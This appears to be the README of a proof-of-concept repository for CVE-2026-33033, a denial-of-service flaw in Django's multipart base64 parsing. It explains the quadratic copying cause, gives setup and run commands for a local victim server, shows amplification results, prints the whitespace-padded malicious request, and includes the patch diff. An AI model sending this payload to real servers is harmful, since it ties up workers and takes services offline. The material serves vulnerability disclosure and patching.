계층 1:  base64 정렬 루프가 공백 바이트마다 read(1) 호출
              |
계층 2:  LazyStream.read(1)이 전체 잔여분(~64KB)을 가져와 1바이트를 슬라이스하고,
          ~64KB - 1을 unget  -->  호출당 O(C) 바이트 복사
              |
계층 3:  unget()이  self._leftover = bytes + self._leftover  수행
          매번 새 bytes 객체 생성  -->  ~C 바이트의 memcpy

Total = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 21.5억 바이트 연산

CVE-2026-33033-PoC/
├── README.md           # 이 파일
├── LICENSE
├── requirements.txt    # Python 의존성
├── exploit.py          # 익스플로잇 스크립트
└── victim/             # 취약한 Django 서버
    ├── manage.py
    ├── uwsgi.ini       # uWSGI 배포 설정
    └── victim/
        ├── __init__.py
        ├── settings.py  # Django 기본값 (특별한 설정 불필요)
        ├── urls.py      # /upload 및 /health 엔드포인트
        └── wsgi.py

git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

cd victim
python manage.py runserver 0.0.0.0:8000

cd victim
uwsgi --ini uwsgi.ini

source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload

============================================================
CVE-2026-33033 PoC
Denial-of-service via base64 whitespace CPU amplification
in Django MultiPartParser
============================================================

Target:       http://127.0.0.1:8000/upload
Payload size: 2,621,440 bytes (2.5 MB)
Rounds:       3

[*] Checking server health...
[+] Server is up.

------------------------------------------------------------
[*] Phase 1: Sending BENIGN request (normal base64 data)
------------------------------------------------------------
    Status: 200
    Time:   5.55 ms

------------------------------------------------------------
[*] Phase 2: Sending MALICIOUS requests (base64 + whitespace)
------------------------------------------------------------

  Round 1/3:
    Status: 200
    Time:   4571.12 ms
  ...

============================================================
RESULTS
============================================================
  Benign request:          5.55 ms
  Attack average:       4571.12 ms  (over 3 rounds)
  Amplification:            823x

[!] VULNERABLE: Average attack time exceeds 1 second.
    A single 2.5 MB request ties up a worker for ~4.6s.
    With 4 workers, just 4 concurrent requests can DoS the server.

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552

------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64

AAA<2,621,433 spaces>A
------CVE2026-33033--

for chunk in field_stream:
    if transfer_encoding == "base64":
        stripped_chunk = b"".join(chunk.split())

        remaining = len(stripped_chunk) % 4
        while remaining != 0:
            over_chunk = field_stream.read(4 - remaining)   # <-- read(1)
            if not over_chunk:
                break
            stripped_chunk += b"".join(over_chunk.split())   # strips to empty
            remaining = len(stripped_chunk) % 4               # stays at 3

-                                stripped_chunk = b"".join(chunk.split())
+                                stripped_parts = [b"".join(chunk.split())]
+                                stripped_length = len(stripped_parts[0])

-                                remaining = len(stripped_chunk) % 4
-                                while remaining != 0:
-                                    over_chunk = field_stream.read(4 - remaining)
+                                while stripped_length % 4 != 0:
+                                    over_chunk = field_stream.read(self._chunk_size)
                                     if not over_chunk:
                                         break
-                                    stripped_chunk += b"".join(over_chunk.split())
-                                    remaining = len(stripped_chunk) % 4
+                                    over_stripped = b"".join(over_chunk.split())
+                                    stripped_parts.append(over_stripped)
+                                    stripped_length += len(over_stripped)
+
+                                stripped_chunk = b"".join(stripped_parts)